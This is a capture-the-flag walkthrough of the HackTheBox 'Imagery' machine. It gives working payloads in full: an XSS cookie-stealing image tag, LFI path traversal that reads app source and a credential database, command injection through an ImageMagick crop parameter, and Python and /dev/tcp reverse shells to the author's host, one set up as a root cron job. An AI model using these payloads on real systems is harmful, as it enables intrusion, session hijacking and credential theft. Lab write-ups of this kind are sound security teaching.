Imagery - HackTheBox
In this walkthrough, I demonstrate how I obtained complete ownership of Imagery on HackTheBox
Nmap results
~ ❯ nmap 10.10.11.88
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-11-26 09:00 CET
Nmap scan report for 10.10.11.88
Host is up (0.12s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
8000/tcp open http-alt
Nmap done: 1 IP address (1 host up) scanned in 1.77 seconds
The nmap scan reveals an open HTTP server on port 8000, which hosts the main web application.
Initial jnteraction with the site
I go to http://imagery.htb:8000 and arrive at a webpage that serves as an online photo gallery. I create an
account.
Once logged in, I can only import images. I can also view my gallery containing all the images I have
imported.
In the "Gallery" section, we notice that there are several features that are not accessible to users. When
we click on them, a message appears on the page: "Feature still in production."
We also see a "report bug" page; when we send a message, we receive this message: "Bug report submitted.
Admin review in progress." Let's keep this page handy.
source code analysis
Analyzing the source code reveals that an "isTestuser" feature allows you to have all the permissions that you do not have as a user on the gallery.
let loggedInUserIsTestUser = false;
function handleConvertImage(imageId) {
if (!loggedInUserIsTestUser) { // ← BLOCAGE ICI
showMessage('Feature still in production.', 'error');
return;
}
...
}
function handleVisualTransformImage(imageId) {
if (!loggedInUserIsTestUser) { // ← BLOCAGE ICI
showMessage('Feature still in production.', 'error');
return;
}
...
}
function handleMetadataDeletion(imageId) {
if (!loggedInUserIsTestUser) { // ← BLOCAGE ICI
showMessage('Feature still in production.', 'error');
return;
}
...
}
We also note that the source code contains many web application endpoints, in particular
window.location.href = `/admin/get_system_log?log_identifier=${encodeURIComponent(logIdentifier)}.log`;
but when you visit the page:
We notice that the session cookie is signed in Flask, so we have a Flask application. I use Flask unsign to to read its content.
~ ❯ flask-unsign --decode --cookie ".eJxNjTEOg0AMBP_iGkUKBQVVKPOK03JnwNLZh_BRRBF_TyiIUs7MSvumJL5mvJ6JekI33uPUtdSQ-JBUjPoJ2fnkILry5sVQxeZQ2evuvP0vLhcQY9mt_topDcrfD1-AJI9ZIfkWi9LxASS-L6s.aScI6Q.oXARj9tBBwOnm9vQxvWsjaam6LU"
{'displayId': 'a6b1cf62', 'isAdmin': False, 'is_impersonating_testuser': False, 'is_testuser_account': False, 'username': 'shaadi@test.com'}
Note that my account has the attribute 'isAdmin': False ands 'is_testuser_account': False
XSS
Let's try some blind XSS on the bug report page to try to steal the admin cookie. The htb boxs arent connected to the internet, so we can't use a webhook to retrieve the cookie. Therefore, we'll create a Python script, cookie_stealer.py, which will handle retrieving the administrator cookie.
We launch the python script, since the page is poorly filtered, after a few attempts we find a working
payload:
<img src=x onerror="window.location='http://10.10.14.11:8888/?cookie='+document.cookie">
~ ❯ python3 cookie_stealer.py
Server running on port 8888
Waiting for requests...
[2025-11-26 16:45:19] Cookie received from 10.10.11.88
session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aScgig.dRV3pMuyzKa95CaUJdstPl-HsbM
Then we receive the administrator cookie
We verify that it is indeed the Admin cookie
~ ❯ flask-unsign --decode --cookie ".eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aScgig.dRV3pMuyzKa95CaUJdstPl-HsbM"
{'displayId': 'a1b2c3d4', 'isAdmin': True, 'is_impersonating_testuser': False, 'is_testuser_account': False, 'username': 'admin@imagery.htb'}
isAdmin: True, we got the admin cookie
LFI
I modify my cookie and access the admin page and the admin panel. Remember that earlier we had the endpoint /admin/get_system_log..., let's try a LFI. We know we have a Flask application; generally, the standard main file is app.py.
~ ❯ curl "http://imagery.htb:8000/admin/get_system_log?log_identifier=../app.py" \
-H "Cookie: session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aScgig.dRV3pMuyzKa95CaUJdstPl-HsbM"
from flask import Flask, render_template
import os
import sys
from datetime import datetime
from config import *
...
from api_edit import bp_edit
...
OUTBOUND_BLOCKED_PORTS = {80, 8080, 53, 5000, 8000, 22, 21}
...
We have a config.py and api_edit.py files and several ports are blocked.
~ ❯ curl "http://imagery.htb:8000/admin/get_system_log?log_identifier=../config.py" \
-H "Cookie: session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aScgig.dRV3pMuyzKa95CaUJdstPl-HsbM"
import os
import ipaddress
DATA_STORE_PATH = 'db.json'
...
In config.py, we find a db.json file.
~ ❯ curl "http://imagery.htb:8000/admin/get_system_log?log_identifier=../db.json" \
-H "Cookie: session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aScgig.dRV3pMuyzKa95CaUJdstPl-HsbM"
{
"users": [
{
"username": "admin@imagery.htb",
"password": "5d9c1d507a3f76af1e5c97a3ad1eaa31",
"isAdmin": true,
"displayId": "a1b2c3d4",
"login_attempts": 0,
"isTestuser": false,
"failed_login_attempts": 0,
"locked_until": null
},
{
"username": "testuser@imagery.htb",
"password": "2c65c8d7bfbca32a3ed42596192384f6",
"isAdmin": false,
"displayId": "e5f6g7h8",
"login_attempts": 0,
"isTestuser": true,
"failed_login_attempts": 0,
"locked_until": null
}
...
]
...
}
We have the usernames and passwords for Admin and testUser, we pass the testUser password to
https://md5decrypt.net/,
We get testuser@imagery.htb:iambatman
Once logged into the account, in the "Transform image" options, you can see that there is a "crop"
function.
~ ❯ curl "http://imagery.htb:8000/admin/get_system_log?log_identifier=../api_edit.py" \
-H "Cookie: session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aSdYiA.UoVmv4xBevM4CljeXqObx_HEdWM"
...
@bp_edit.route('/apply_visual_transform', methods=['POST'])
def apply_visual_transform():
...
if transform_type == 'crop':
x = str(params.get('x'))
y = str(params.get('y'))
width = str(params.get('width'))
height = str(params.get('height'))
command = f"{IMAGEMAGICK_CONVERT_PATH} {original_filepath} -crop {width}x{height}+{x}+{y} {output_filepath}"
subprocess.run(command, capture_output=True, text=True, shell=True, check=True)
In /api_edit.py, we discover that the crop functionality can be used on a shell, provided that we are logged in with the usertest account. We can therefore try to obtain a reverse shell on the machine by using crop
Reverse shell
I start by retrieving the ID of the image I uploaded earlier in /images. We'll test if our command injection actually works; we'll try to display the contents of /etc/passwd to see all the existing users on the machine and copy it into the upload/passwd.txt file.
~ ❯ curl "http://imagery.htb:8000/apply_visual_transform" \
-H "Cookie: session=.eJxNjTEOgzAMRe_iuWKjRZno2FNELjGJJWJQ7AwIcfeSAanjf_9J74DAui24fwI4oH5-xlca4AGs75BZwM24KLXtOW9UdBU0luiN1KpS-Tdu5nGa1ioGzkq9rsYEM12JWxk5Y6Syd8m-cP4Ay4kxcQ.aSgfWg.EhdL_Ig5AKi2FJsE1_OcyZ_VoXw" \
-H "Content-Type: application/json" \
-d '{
"imageId": "e2456af2-720b-43f1-a5d4-93f96176c294",
"transformType": "crop",
"params": {
"x": "0",
"y": "0",
"width": "100",
"height": "100;cat /etc/passwd > uploads/passwd.txt #"
}
}'
{"message":"Image transformed successfully!","newImageId":"49721b0e-b868-4935-a185-6779016724c9","newImageUrl":"/uploads/admin/transformed/transformed_1894bca5-afdb-4160-93db-fa74dbce3a2f.png","success":true}
~ ❯ curl "http://imagery.htb:8000/admin/get_system_log?log_identifier=../uploads/passwd.txt" \
-H "Cookie: session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aSggOA.ziq5kmtcGFj5GDEaAX5fc6-LNrw"
root:x:0:0:root:/root:/bin/bash
...
web:x:1001:1001::/home/web:/bin/bash
mark:x:1002:1002::/home/mark:/bin/bash
We notice two interesting users: web, where we are currently located, and mark, probably the user for SSH into the machine
Now we know that our command injection works, let's list the tools installed on the machine.
~ ❯ curl "http://imagery.htb:8000/apply_visual_transform" \
-H "Cookie: session=.eJxNjTEOgzAMRe_iuWKjRZno2FNELjGJJWJQ7AwIcfeSAanjf_9J74DAui24fwI4oH5-xlca4AGs75BZwM24KLXtOW9UdBU0luiN1KpS-Tdu5nGa1ioGzkq9rsYEM12JWxk5Y6Syd8m-cP4Ay4kxcQ.aSgfWg.EhdL_Ig5AKi2FJsE1_OcyZ_VoXw" \
-H "Content-Type: application/json" \
-d '{
"imageId": "e2456af2-720b-43f1-a5d4-93f96176c294",
"transformType": "crop",
"params": {
"x": "0",
"y": "0",
"width": "100",
"height": "100;which python3 python nc bash sh > uploads/tools.txt #"
}
}'
{"message":"Image transformed successfully!","newImageId":"213f8ec6-2877-4f5e-b5dd-90d9ef0f6aa8","newImageUrl":"/uploads/admin/transformed/transformed_244e11ee-b3de-4e4f-8082-500c52d302fc.png","success":true}
~ ❯ curl "http://imagery.htb:8000/admin/get_system_log?log_identifier=../uploads/tools.txt" \
-H "Cookie: session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aSggOA.ziq5kmtcGFj5GDEaAX5fc6-LNrw"
/home/web/web/env/bin/python3
/home/web/web/env/bin/python
/usr/bin/nc
/usr/bin/bash
/usr/bin/sh
I see here that Python is installed, so I can definitely do a reverse shell in Python. I'll use port 443 because we noticed earlier that it wasn't one of the blocked ports in app.py
curl "http://imagery.htb:8000/apply_visual_transform" \
-H "Cookie: session=.eJxNjTEOgzAMRe_iuWKjRZno2FNELjGJJWJQ7AwIcfeSAanjf_9J74DAui24fwI4oH5-xlca4AGs75BZwM24KLXtOW9UdBU0luiN1KpS-Tdu5nGa1ioGzkq9rsYEM12JWxk5Y6Syd8m-cP4Ay4kxcQ.aSrOgA.AQVIJTLKfgl_obAjYQdudgfEHL8" \
-H "Content-Type: application/json" \
-d '{
"imageId": "6cb49cd5-c2de-4fce-8657-6b0a6b5f22a1",
"transformType": "crop",
"params": {
"x": "0",
"y": "0",
"width": "100",
"height": "100;python3 -c '\''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.11\",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/bash\",\"-i\"])'\'' #"
}
}'
In parallel, we launch our netcat
I finally have my revshell; now I need Mark's SSH password. During my research, I noticed that the SSH
connection for the user Mark uses a public key. Therefore, I will need to find Mark's password and connect
from my revshell.

Backup decryption
I started by launching linepeas on the revshell, and there I noticed a backup file in
/var/backup/web_20250806_120723.zip.aes, It is zipped and encrypted with AES.
A little further on I see that a user used PyAesCrypt to encrypt the backup file.
I extract the backup to my laptop and decrypt it with a Python script found on GitHub:
https://github.com/Nabeelcn25/dpyAesCrypt.py
In the unzipped backup there is a db.json file, inside which is the password of mark
Using md5 decryption, we can find the real password for mark:supersmash, I log into Mark's account and
retrieve the user flag.
Privilege escalation
with a simple sudo -l I see that we can run charcol as sudo without needing the password; that's probably
where we'll be able to do our privilege escalation.

When I launch Charcol, I realize it's a backup tool. I notice there's user documentation available.
The help reveals that I can reset charcol's password with mark's password
I reset the password and launched the charcol shell
I consult the shell help documentation
Help shows all commands available in the shell. I noticed that you can add tasks to cron as root (because
you're using sudo) to automate tasks. However, in my case, I can use it to force the root account to open a
TCP connection to a netcat instance that I've launched locally, because thanks to --command I
can enter bash commands. In short, I can have a root revshell.
I run the command
auto add --schedule "* * * * *" --command "bash -c 'bash -i >& /dev/tcp/10.10.14.11/8888 0>&1'" --name "root_shell_backdoor",
--schedule "* * * * *" This means my command runs every minute.
bash -c 'bash -i >& /dev/tcp/10.10.14.11/8888 0>&1' opens a bash revshell that
redirects input/output/error to my laptop.
I launch a netcat command and after a few seconds of waiting, I get my revshell and the root flag.